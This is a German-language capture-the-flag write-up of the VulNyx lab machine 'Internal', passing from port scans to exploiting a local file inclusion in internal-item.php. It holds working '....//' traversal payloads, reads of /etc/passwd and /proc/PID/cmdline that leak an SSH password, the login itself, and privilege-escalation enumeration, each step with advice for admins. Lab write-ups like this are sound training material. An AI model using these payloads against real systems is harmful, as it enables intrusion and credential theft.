Internal - VulNyx - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
grep
nmap
curl
nikto
gobuster
Burp Suite
Base64 Decode
wfuzz
ssh
find
ss
getcap
ls
cat
cd
python3
wget
unzip
zip2john
john
telnet
chisel
vncviewer
su
id

Inhaltsverzeichnis

Reconnaissance

Beginn der Aufklärungsphase zur Identifizierung des Ziels "Internal" und der offenen Dienste.

                           Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.110
                    

**Analyse:** Die Ziel-IP für diesen Test wird als `192.168.2.110` festgelegt.

**Bewertung:** Essentieller Startpunkt für alle weiteren Aktionen.

**Empfehlung (Pentester):** IP in Variable speichern (`export IP=192.168.2.110`).
**Empfehlung (Admin):** Keine Aktion.

 ARP-Scan 
 
192.168.2.110	08:00:27:64:2c:9f	PCS Systemtechnik GmbH
                    

**Analyse:** Ein ARP-Scan identifiziert die MAC-Adresse (`08:00:27:64:2c:9f`) des Ziels. Der Hersteller "PCS Systemtechnik GmbH" deutet auf eine Oracle VirtualBox VM hin.

**Bewertung:** Bestätigt Erreichbarkeit und Virtualisierungsumgebung.

**Empfehlung (Pentester):** Notieren der Informationen.
**Empfehlung (Admin):** Sicherstellen, dass nur autorisierte Geräte im Netzwerk sind.

 /etc/hosts 

        127.0.0.1	localhost 
                192.168.2.110   Internal.nyx
                     

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wurde angepasst, um der IP `192.168.2.110` den Hostnamen `Internal.nyx` zuzuordnen.

**Bewertung:** Erleichtert die Ansprache des Ziels.

**Empfehlung (Pentester):** Standardvorgehen.
**Empfehlung (Admin):** Korrekte DNS-Konfiguration ist zu bevorzugen.

┌──(root㉿CCat)-[~] └─# cmd=$(ip neigh )
 - IPv6 Adresse: fe80::a00:27ff:fe64:2c9f
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 21:57 CEST
Nmap scan report for internal (fe80a00:27ff:fe64:2c9f)
Host is up (0.00010s latency).
Not shown: 998 closed tcp ports (reset)
PRT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:64:2C:9F (racle VirtualBox virtual NIC)
                     

**Analyse:** Die IPv6 Link-Local-Adresse wird ermittelt (vermutlich aus der Ausgabe von `ip neigh`, obwohl der Befehl hier unvollständig ist) und ein Nmap-Scan (`nmap -6 ...`) dagegen ausgeführt.

**Bewertung:** Findet Port 22 (SSH) und 80 (HTTP) über IPv6 offen.

**Empfehlung (Pentester):** Bestätigt offene Ports über IPv6. Scans gegen IPv4 sind für ein vollständiges Bild notwendig.
**Empfehlung (Admin):** Sicherheit von IPv6-Diensten gewährleisten.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp   open  ssh     penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
9999/tcp open  abyss?
                     

**Analyse:** Umfassender Nmap TCP-Scan gegen die IPv4-Adresse (`$IP`), gefiltert nach offenen Ports.

**Bewertung:** Findet drei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 8.4p1 (Debian 11) - Relativ aktuell. * **Port 80 (HTTP):** Apache httpd 2.4.56 (Debian) - Relativ aktuell. * **Port 9999:** Unbekannter Dienst (`abyss?`) - Muss genauer untersucht werden.

**Empfehlung (Pentester):** SSH (Brute-Force/Keys), HTTP auf Port 80 (Web-Exploits/VHosts) und der unbekannte Dienst auf Port 9999 sind die Hauptziele.
**Empfehlung (Admin):** Sicherstellen, dass alle Dienste notwendig und sicher konfiguriert sind. Port 9999 identifizieren und absichern.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 21:59 CEST
Nmap scan report for Internal.nyx (192.168.2.110)
Host is up (0.00025s latency).
Not shown: 65532 closed tcp ports (reset)
PRT     STATE SERVICE VERSIN
22/tcp   open  ssh     penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Day Bootstrap Template - Index
|_http-server-header: Apache/2.4.56 (Debian)
9999/tcp open  abyss?
| fingerprint-strings: 
|   FourhFourRequest, GetRequest: 
|     HTTP/1.0 401 Unauthorized
|     Server: SimpleHTTP/0.6 Python/3.9.2
|     Date: Sun, 15 Sep 2024 19:59:12 GMT
|     WWW-Authenticate: Basic realm="PRD"
|     Content-type: text/html
|     auth header received
|   HTTPptions: 
|     HTTP/1.0 501 Unsupported method ('PTINS')
|     Server: SimpleHTTP/0.6 Python/3.9.2
|     Date: Sun, 15 Sep 2024 19:59:12 GMT
|     Connection: close
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 500
 

MAC Address: 08:00:27:64:2C:9F (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel
                     

**Analyse:** Vollständige Ausgabe des Nmap TCP-Scans.

**Bewertung:** * Bestätigt SSH und Apache Versionen. * Port 80 hat einen Titel: "Day Bootstrap Template - Index". * **Port 9999:** Wird jetzt als **Python SimpleHTTPServer** (Version 0.6, Python 3.9.2) identifiziert. Der Dienst erfordert **HTTP Basic Authentication** (`WWW-Authenticate: Basic realm="PRD"`) und gibt bei Anfragen ohne Authentifizierung einen `401 Unauthorized` Fehler zurück. Ungewöhnliche Methoden wie `OPTIONS` werden nicht unterstützt (`501 Unsupported method`).

**Empfehlung (Pentester):** Untersuchen Sie die Webseite auf Port 80. Versuchen Sie, die Basic Auth Credentials für Port 9999 durch Brute-Force oder Default-Credentials zu erraten.
**Empfehlung (Admin):** Aktualisieren Sie Apache und OpenSSH. Stellen Sie sicher, dass der Python-Server auf Port 9999 notwendig ist und verwenden Sie starke Authentifizierung. SimpleHTTPServer ist nicht für Produktionsumgebungen gedacht.

Web Enumeration

Untersuchung der Webdienste auf Port 80 (Apache) und Port 9999 (Python).

┌──(root㉿CCat)-[~] └─# curl -X OPTIONS -Is http://$IP | grep -i "allow"
Allow: OPTIONS,HEAD,GET,POST
                     

**Analyse:** Test der erlaubten HTTP-Methoden auf Port 80 (Apache) mit `OPTIONS`.

**Bewertung:** Nur Standardmethoden (`OPTIONS`, `HEAD`, `GET`, `POST`) sind erlaubt. `PTINS` (wie von Nikto fälschlich gemeldet) ist nicht dabei.

**Empfehlung (Pentester):** Kein direkter Angriffsvektor über ungewöhnliche Methoden auf Port 80.
**Empfehlung (Admin):** Deaktivieren Sie `OPTIONS`, wenn nicht benötigt.

┌──(root㉿CCat)-[~] └─# curl -Iv http://$IP

 WEB-Server Scan :


*   Trying 192.168.2.110:80...
* Connected to 192.168.2.110 (192.168.2.110) port 80
> HEAD / HTTP/1.1
> Host: 192.168.2.110
> User-Agent: curl/8.8.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Date: Sun, 15 Sep 2024 20:01:01 GMT
Date: Sun, 15 Sep 2024 20:01:01 GMT
< Server: Apache/2.4.56 (Debian)
Server: Apache/2.4.56 (Debian)
< Last-Modified: Mon, 08 May 2023 13:54:19 GMT
Last-Modified: Mon, 08 May 2023 13:54:19 GMT
< ETag: "787d-5fb2ef9af9f56"
ETag: "787d-5fb2ef9af9f56"
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Content-Length: 30845
Content-Length: 30845
< Vary: Accept-Encoding
Vary: Accept-Encoding
< Content-Type: text/html
Content-Type: text/html
< 

* Connection #0 to host 192.168.2.110 left intact
                     

**Analyse:** Abruf der HTTP-Header von Port 80.

**Bewertung:** Bestätigt die Server-Version und den ETag. Die `Content-Length` (30845 Bytes) ist recht groß für eine einfache Seite.

**Empfehlung (Pentester):** Untersuchen Sie die Webseite und ihren Quellcode genauer.
**Empfehlung (Admin):** Keine neuen Erkenntnisse.

Web Enum: 
http://internal.nyx/forms/contact.php

Unable to load the "PHP Email Form" Library!                                                                              
 

GET             http://internal.nyx/forms/contact.php

Status  200  K VersionHTTP/1.1

Content-Type	text/html; charset=UTF-8
Server          Apache/2.4.56 (Debian) 
Host            internal.nyx
User-Agent      Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
                     

**Analyse:** Untersuchung der Datei `/forms/contact.php`, die über Gobuster gefunden wurde. Die Seite gibt einen Fehler aus: "Unable to load the "PHP Email Form" Library!".

**Bewertung:** Die Fehlermeldung deutet darauf hin, dass eine externe PHP-Bibliothek für E-Mail-Formulare fehlt oder falsch konfiguriert ist. Solche Fehlermeldungen können manchmal Pfade oder Konfigurationsdetails preisgeben, hier jedoch nicht direkt.

**Empfehlung (Pentester):** Suchen Sie nach bekannten Schwachstellen in gängigen PHP-E-Mail-Formular-Bibliotheken. Versuchen Sie, Parameter an `contact.php` zu senden.
**Empfehlung (Admin):** Beheben Sie den Konfigurationsfehler oder entfernen Sie das Skript, wenn es nicht funktioniert. Unterdrücken Sie detaillierte Fehlermeldungen.

 Nikto Scan 

- Nikto v2.5.0

+ Target IP:          192.168.2.110
+ Target Hostname:    192.168.2.110
+ Target Port:        80
+ Start Time:         2024-09-15 22:01:02 (GMT2)

+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions]
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 787d, size: 5fb2ef9af9f56, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418]
+ PTINS: Allowed HTTP Methods: PTINS, HEAD, GET, PST .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-09-15 22:01:32 (GMT2) (30 seconds)

+ 1 host(s) tested
                     

**Analyse:** Nikto-Scan gegen Port 80 (Apache).

**Bewertung:** Bestätigt die relativ aktuelle Apache-Version (2.4.56). Findet wieder fehlende Security-Header, das ETag-Inode-Leak und die erlaubten Methoden (inkl. `PTINS`, `PST`). Findet keine offensichtlichen kritischen Schwachstellen.

**Empfehlung (Pentester):** Konfiguration härten (Header, ETags, Methoden).
**Empfehlung (Admin):** Siehe vorherige Nikto-Empfehlungen.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.110/index.html                (Status: 200) [Size: 30845]
http://192.168.2.110/assets                    (Status: 301) [Size: 315] [--> http://192.168.2.110/assets/]
http://192.168.2.110/forms                     (Status: 301) [Size: 314] [--> http://192.168.2.110/forms/]
                     

**Analyse:** Gobuster-Scan auf Port 80 (Apache).

**Bewertung:** Findet die Verzeichnisse `/assets` und `/forms` (beide mit Redirects). `/forms` enthält die zuvor gefundene `contact.php`.

**Empfehlung (Pentester):** Untersuchen Sie die Inhalte von `/assets` und `/forms` weiter.
**Empfehlung (Admin):** Stellen Sie sicher, dass keine sensiblen Informationen in diesen Verzeichnissen liegen.

http://internal.nyx/forms/contact.php          (Status: 200) [Size: 44]


php-email-form="forms/contact.php
                     

**Analyse:** Zusätzliche Informationen (wahrscheinlich aus dem Quellcode der Hauptseite oder Burp): Bestätigt `contact.php` und zeigt einen Verweis auf eine "php-email-form", die `forms/contact.php` verwendet.

**Bewertung:** Bestärkt die Vermutung, dass `contact.php` Teil einer E-Mail-Formularbibliothek ist.

**Empfehlung (Pentester):** Suchen nach Schwachstellen in dieser spezifischen Bibliothek, falls identifizierbar.
**Empfehlung (Admin):** Bibliothek aktualisieren/sichern.

 Burpsuite 
 Request:

GET /cgi-bin/%2e%2e/abyss.conf  HTTP/1.1
Host: 192.168.2.110:9999
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

 Response:

HTTP/1.0 401 Unauthorized
Server: SimpleHTTP/0.6 Python/3.9.2
Date: Sun, 15 Sep 2024 20:24:08 GMT
WWW-Authenticate: Basic realm="PRD"
Content-type: text/html

no auth header received
                      

**Analyse:** Versuch, über einen Directory Traversal Payload (`/cgi-bin/%2e%2e/`) auf eine Datei namens `abyss.conf` auf dem Python-Server (Port 9999) zuzugreifen.

**Bewertung:** Die Anfrage schlägt fehl, da keine Authentifizierung mitgesendet wurde (`401 Unauthorized`). Ob der Traversal funktioniert hätte, ist unklar.

**Empfehlung (Pentester):** Authentifizieren Sie sich zuerst (z.B. mit den später gefundenen Credentials `admin:4dM1Nt3rN4LP4zZ`) und versuchen Sie dann bekannte Exploits oder weitere Enumeration auf Port 9999.
**Empfehlung (Admin):** SimpleHTTPServer ist unsicher und sollte nicht verwendet werden, insbesondere nicht für sensible Daten.

view-source:http://internal.nyx/#

internal-item.php?item=index.html#hero

internal-item.php?item=index.html
                      

**Analyse:** Untersuchung des Quellcodes der Hauptseite auf Port 80. Es werden Links zu `internal-item.php` mit einem `item`-Parameter gefunden.

**Bewertung:** Dies deutet auf eine dynamische Seite hin, die Inhalte basierend auf dem `item`-Parameter lädt. Solche Parameter sind oft anfällig für Local File Inclusion (LFI) oder Directory Traversal.

**Empfehlung (Pentester):** Untersuchen Sie den `item`-Parameter in `internal-item.php` auf LFI.
**Empfehlung (Admin):** Validieren und bereinigen Sie alle Benutzereingaben, die zur Konstruktion von Dateipfaden verwendet werden.

http://192.168.2.110:9999/

Basic c3Nzczpzc3Nznot authenticated

[Link: https://www.base64decode.org/ | Ziel: https://www.base64decode.org/]
c3Nzczpzc3Nz
ssss:ssss
                     

**Analyse:** Bei einem fehlgeschlagenen Authentifizierungsversuch gegen Port 9999 (wahrscheinlich durch Eingabe falscher Daten im Browser-Popup) wird der Base64-kodierte Wert `c3Nzczpzc3Nz` im Response oder Log gefunden. Dieser wird dekodiert zu `ssss:ssss`.

**Bewertung:** Dies sind wahrscheinlich die *eingegebenen*, aber falschen Credentials. Nicht die korrekten Zugangsdaten.

**Empfehlung (Pentester):** Ignorieren Sie diese Credentials. Suchen Sie weiter nach den richtigen Zugangsdaten.
**Empfehlung (Admin):** Keine Aktion.

LFI Exploitation & Credential Discovery

Der Fokus liegt nun auf der LFI-Schwachstelle in `internal-item.php` auf Port 80, um Informationen zu sammeln, die zum Zugriff auf andere Dienste führen könnten.

┌──(root㉿CCat)-[~/Scripts-Tools] └─# wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://internal.nyx/internal-item.php?item=FUZZ" --hc 404 --hh 13
 Target: http://internal.nyx/internal-item.php?item=FUZZ
 =
ID           Response   Lines    Word       Chars       Payload                                                                                                                      
=

000000334:   200        28 L     40 W       1404 Ch     "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"           
000000330:   200        28 L     40 W       1404 Ch     "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd"                                                                                                                
... (viele ähnliche Payloads für /etc/passwd) ...                                                                                                         
Total time: 0
Processed Requests: 922
Filtered Requests: 902
Requests/sec.: 0
                     

**Analyse:** Wfuzz wird verwendet, um den `item`-Parameter in `internal-item.php` mit einer Liste von LFI-Payloads (`LFI-Jhaddix.txt`) zu fuzzen. Das Ziel ist es, herauszufinden, ob und wie eine LFI möglich ist. `--hc 404` und `--hh 13` filtern Standardfehler und sehr kleine Antworten heraus.

**Bewertung:** **LFI bestätigt!** Viele Payloads, die auf `/etc/passwd` abzielen (mit unterschiedlicher Anzahl von `....//`), sind erfolgreich (Status 200) und liefern eine Antwort mit 28 Zeilen und 1404 Zeichen, was der erwarteten Größe von `/etc/passwd` entspricht.

**Empfehlung (Pentester):** Nutzen Sie die LFI, um sensible Dateien zu lesen. Beginnen Sie mit `/etc/passwd`, `/etc/shadow` (falls lesbar), Webserver-Konfigurationen, Anwendungsquellcode und Prozessinformationen unter `/proc`.
**Empfehlung (Admin):** Beheben Sie die LFI in `internal-item.php` dringend durch Input-Validierung und sichere Dateizugriffsfunktionen.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# curl -s "http://internal.nyx/internal-item.php?item=....//....//....//....//....//....//etc/passwd" | grep bash
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:admin,,,:/home/admin:/bin/bash
                     

**Analyse:** Die bestätigte LFI wird genutzt, um `/etc/passwd` zu lesen und nach Benutzern mit Bash-Shell zu filtern.

**Bewertung:** Identifiziert die Benutzer `root` und `admin` als potenzielle Ziele mit interaktiven Shells.

**Empfehlung (Pentester):** Versuchen Sie, SSH-Schlüssel für `admin` zu finden (`/home/admin/.ssh/id_rsa`) oder andere sensible Informationen über die LFI zu extrahieren.
**Empfehlung (Admin):** LFI beheben.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# curl -s "http://internal.nyx/internal-item.php?item=....//....//....//....//....//....//....//....//....//home/admin/.ssh/id_rsa" | grep bash
(Keine Ausgabe - Datei nicht gefunden oder nicht lesbar)

**Analyse:** Versuch, den privaten SSH-Schlüssel des `admin`-Benutzers über die LFI zu lesen.

**Bewertung:** Scheitert. Entweder existiert die Datei nicht, oder der Webserver-Benutzer (wahrscheinlich `www-data`) hat keine Leseberechtigung.

**Empfehlung (Pentester):** Suchen Sie nach anderen interessanten Dateien. Das `/proc`-Dateisystem ist oft eine Goldgrube.
**Empfehlung (Admin):** Sicherstellen, dass SSH-Schlüssel korrekte Berechtigungen haben (600).

 Burpsuite 
 Request:
 
GET //internal-item.php?item=....//....//....//....//proc/self/cmdline HTTP/1.1
Host: internal.nyx
...

 Response:
 
HTTP/1.1 200 K
...
Content-Length: 40
...

/usr/sbin/apache2
                      

**Analyse:** Versuch, über die LFI die Kommandozeile des aktuellen Prozesses (`/proc/self/cmdline`) zu lesen.

**Bewertung:** Erfolgreich. Bestätigt, dass der Webserver-Prozess `/usr/sbin/apache2` ist.

**Empfehlung (Pentester):** Lesen Sie die Kommandozeilen anderer Prozesse (`/proc/PID/cmdline`), um laufende Dienste und potenziell übergebene Argumente (wie Passwörter) zu finden.
**Empfehlung (Admin):** LFI beheben.

 Request:
  
GET //internal-item.php?item=....//....//....//....//proc/1/cmdline HTTP/1.1
Host: internal.nyx

 Intruder:

 Request:

 GET //internal-item.php?item=....//....//....//....//proc/§1§/cmdline HTTP/1.1
Host: internal.nyx

 Response:
 /internal-item.php?item=....//....//....//....//proc/2/cmdline
 
/sbin/init
  
30 Minuten Brute Forcing


/internal-item.php?item=....//....//....//....//proc/403/cmdline
 
python3/home/admin/python3HTTPSAuthServer.py --port9999--authadmin:4dM1Nt3rN4LP4zZ
                      

**Analyse:** Burp Suite Intruder wird verwendet, um die Prozess-IDs (PIDs) im Pfad `/proc/PID/cmdline` durchzuprobieren und die Kommandozeilen laufender Prozesse über die LFI zu extrahieren.

**Bewertung:** **Kritischer Fund!** Nach 30 Minuten findet Intruder den Prozess mit PID 403. Dessen Kommandozeile lautet: `python3 /home/admin/python3HTTPSAuthServer.py --port 9999 --auth admin:4dM1Nt3rN4LP4zZ`. Dies enthüllt: * Der Dienst auf Port 9999 ist tatsächlich ein Python-Skript (`python3HTTPSAuthServer.py`), das im Home-Verzeichnis von `admin` liegt. * Die Basic Authentication Credentials für diesen Dienst werden direkt auf der Kommandozeile übergeben: Benutzer `admin`, Passwort `4dM1Nt3rN4LP4zZ`.

**Empfehlung (Pentester):** Verwenden Sie die gefundenen Credentials `admin:4dM1Nt3rN4LP4zZ`, um sich per SSH als Benutzer `admin` anzumelden. Der Zugriff auf den Python-Server auf Port 9999 ist wahrscheinlich nicht mehr notwendig.
**Empfehlung (Admin):** Übergeben Sie niemals Passwörter oder sensible Daten als Kommandozeilenargumente! Diese sind für andere Benutzer auf dem System (und hier sogar über LFI) lesbar. Verwenden Sie Konfigurationsdateien mit restriktiven Berechtigungen oder Umgebungsvariablen.

Initial Access

Die durch die LFI-Schwachstelle und das Auslesen von `/proc/PID/cmdline` gefundenen Anmeldedaten werden nun verwendet, um sich per SSH anzumelden.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# ssh admin@internal.nyx
The authenticity of host 'internal.nyx (192.168.2.110)' can't be established.
ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns.
...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'internal.nyx' (ED25519) to the list of known hosts.
admin@internal.nyx's password: 4dM1Nt3rN4LP4zZ 
Linux internal 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
Last login: Mon May  8 17:18:54 2023 from 192.168.1.10
admin@internal$ 
                     

**Analyse:** Versuch, sich per SSH als Benutzer `admin` mit dem extrahierten Passwort `4dM1Nt3rN4LP4zZ` anzumelden.

**Bewertung:** **Initial Access erfolgreich!** Der Login gelingt, und wir erhalten eine Shell als Benutzer `admin`.

**Empfehlung (Pentester):** Beginnen Sie mit der Enumeration für die Privilegienerweiterung als `admin`.
**Empfehlung (Admin):** Ändern Sie das kompromittierte Passwort. Beheben Sie die LFI-Schwachstelle und die unsichere Übergabe von Credentials auf der Kommandozeile.

Proof of Concept (Initial Access): LFI to Credential Leak

**Kurzbeschreibung:** Eine Local File Inclusion (LFI)-Schwachstelle in `http://internal.nyx/internal-item.php` (Parameter `item`) ermöglicht das Lesen beliebiger Dateien auf dem Server mit den Rechten des Webserver-Prozesses. Durch systematisches Auslesen von Prozessinformationen über das `/proc`-Dateisystem (speziell `/proc/PID/cmdline`) konnte die Kommandozeile eines Python-Servers (PID 403) extrahiert werden. Diese Kommandozeile enthielt im Klartext die Anmeldedaten (`admin:4dM1Nt3rN4LP4zZ`) für den SSH-Zugang des Benutzers `admin`.
**Voraussetzungen:**

**Erwartetes Ergebnis:** Extraktion der SSH-Credentials aus der Prozess-Kommandozeile und erfolgreicher SSH-Login als `admin`.

**Schritte (Zusammenfassung):**

  1. Identifizieren der LFI in `internal-item.php?item=`.
  2. Bestätigen der LFI durch Lesen von `/etc/passwd`.
  3. Automatisches oder manuelles Iterieren durch `/proc/PID/cmdline` über die LFI.
  4. Finden der Kommandozeile für PID 403 (`python3 ... --auth admin:4dM1Nt3rN4LP4zZ`).
  5. Extrahieren des Passworts `4dM1Nt3rN4LP4zZ`.
  6. Erfolgreicher SSH-Login mit `admin:4dM1Nt3rN4LP4zZ`.

**Risikobewertung:** Hoch. Die LFI ermöglichte das Auslesen sensibler Prozessinformationen, was direkt zur Kompromittierung eines Benutzerkontos führte. Die unsichere Speicherung von Credentials in Kommandozeilenargumenten verschärfte das Problem erheblich.
**Empfehlungen:**

Privilege Escalation

Wir haben eine Shell als `admin`. Nun suchen wir nach Wegen, um Root-Rechte zu erlangen.

admin@internal$ sudo -l
-bash: sudo: orden no encontrada
                     

**Analyse:** Versuch, `sudo -l` auszuführen.

**Bewertung:** Der Befehl `sudo` wird nicht gefunden ("orden no encontrada" - spanisch für "Befehl nicht gefunden"). Das bedeutet, entweder ist `sudo` nicht installiert, nicht im PATH des Benutzers `admin`, oder der Benutzer hat keinerlei `sudo`-Rechte.

**Empfehlung (Pentester):** Suchen Sie nach SUID-Binaries, Capabilities, Cronjobs, unsicheren Dateiberechtigungen oder Kernel-Exploits.
**Empfehlung (Admin):** Wenn `sudo` verwendet werden soll, sicherstellen, dass es installiert und im PATH ist. Ansonsten ist dies kein Problem.

admin@internal$ ss -altpn
State              Recv-Q             Send-Q                         Local Address:Port                           Peer Address:Port             Process                                       
LISTEN             0                  5                                  127.0.0.1:5901                                0.0.0.0:*                                                              
LISTEN             0                  5                                    0.0.0.0:9999                                0.0.0.0:*                 users:(("python3",pid=403,fd=3))             
LISTEN             0                  128                                  0.0.0.0:22                                  0.0.0.0:*                                                              
LISTEN             0                  5                                      [::1]:5901                                   [::]:*                                                              
LISTEN             0                  511                                        *:80                                        *:*                                                              
LISTEN             0                  128                                     [::]:22                                     [::]:*                                                              
                     

**Analyse:** Überprüfung der lauschenden Netzwerk-Sockets.

**Bewertung:** Bestätigt die bekannten Ports 22, 80, 9999. Findet zusätzlich einen Dienst auf Port 5901, der nur an localhost (`127.0.0.1` und `::1`) gebunden ist. Port 5901 wird typischerweise für VNC (Display :1) verwendet.

**Empfehlung (Pentester):** Untersuchen Sie den VNC-Dienst auf Port 5901. Da er nur lokal lauscht, benötigen Sie Port Forwarding (z.B. Chisel, SSH) oder einen lokalen Exploit, um darauf zuzugreifen.
**Empfehlung (Admin):** Stellen Sie sicher, dass der VNC-Dienst beabsichtigt ist und sicher konfiguriert wurde (Authentifizierung!).

admin@internal$ find / -type f -perm -4000 -ls 2>/dev/null
   263828     56 -rwsr-xr-x   1 root     root        55528 ene 20  2022 /usr/bin/mount
   263458     72 -rwsr-xr-x   1 root     root        71912 ene 20  2022 /usr/bin/su
   259697     60 -rwsr-xr-x   1 root     root        58416 feb  7  2020 /usr/bin/chfn
   259700     88 -rwsr-xr-x   1 root     root        88304 feb  7  2020 /usr/bin/gpasswd
   259698     52 -rwsr-xr-x   1 root     root        52880 feb  7  2020 /usr/bin/chsh
   263830     36 -rwsr-xr-x   1 root     root        35040 ene 20  2022 /usr/bin/umount
   259701     64 -rwsr-xr-x   1 root     root        63960 feb  7  2020 /usr/bin/passwd
   263292     44 -rwsr-xr-x   1 root     root        44632 feb  7  2020 /usr/bin/newgrp
   273849    472 -rwsr-xr-x   1 root     root       481608 jul  2  2022 /usr/lib/openssh/ssh-keysign
   264755     52 -rwsr-xr--   1 root     messagebus    51336 oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
                     

**Analyse:** Suche nach SUID-Dateien als `admin`.

**Bewertung:** Findet nur Standard-SUID-Binaries. Kein offensichtlicher Exploit-Pfad hier.

**Empfehlung (Pentester):** Fokus auf VNC.
**Empfehlung (Admin):** Keine Aktion.

admin@internal$ getcap -r / 2>/dev/null
admin@internal$

**Analyse:** Suche nach Dateien mit Capabilities.

**Bewertung:** Keine Capabilities gefunden.

**Empfehlung (Pentester):** Fokus auf VNC.
**Empfehlung (Admin):** Keine Aktion.

admin@internal$ ls
python3HTTPSAuthServer.py  user.txt
                     
admin@internal$ cat user.txt
22c15f8a6b80b178f36f3fcf5053bd82
                     

**Analyse:** Auflisten des Home-Verzeichnisses von `admin` und Auslesen der `user.txt`.

**Bewertung:** User-Flag gefunden. Bestätigt die Existenz des Python-Server-Skripts.

**Empfehlung (Pentester):** Flag notieren.
**Empfehlung (Admin):** Keine Aktion.

admin@internal$ ls -la
total 44
drwx------ 4 admin admin 4096 may  8  2023 .
drwxr-xr-x 3 root  root  4096 may  8  2023 ..
drwx------ 2 admin admin 4096 may  8  2023 ...

lrwxrwxrwx 1 root  root     9 abr 23  2023 .bash_history -> /dev/null
-rw------- 1 admin admin  220 ene 15  2023 .bash_logout
-rw------- 1 admin admin 3526 ene 15  2023 .bashrc
drwxr-xr-x 3 admin admin 4096 may  8  2023 .local
-rw------- 1 admin admin  807 ene 15  2023 .profile
-rwxr-xr-x 1 admin admin 5504 may  8  2023 python3HTTPSAuthServer.py
-rw-r--r-- 1 admin admin   66 may  8  2023 .selected_editor
-r-------- 1 admin admin   33 may  8  2023 user.txt
                     

**Analyse:** Detailliertes Listing des Home-Verzeichnisses von `admin`.

**Bewertung:** Findet ein ungewöhnliches Verzeichnis namens `...` (drei Punkte). Die Bash-History wird nach `/dev/null` gelinkt (verhindert History-Logging).

**Empfehlung (Pentester):** Untersuchen Sie das Verzeichnis `...`.
**Empfehlung (Admin):** Ungewöhnliche Verzeichnisnamen können Verschleierungsversuche sein.

admin@internal$ cd ...
admin@internal/...$ ls -la
total 12
drwx------ 2 admin admin 4096 may  8  2023 .
drwx------ 4 admin admin 4096 may  8  2023 ..
-rw-r--r-- 1 admin admin  198 may  8  2023 internalkey.zip
                     

**Analyse:** Wechsel in das Verzeichnis `...` und Auflisten des Inhalts.

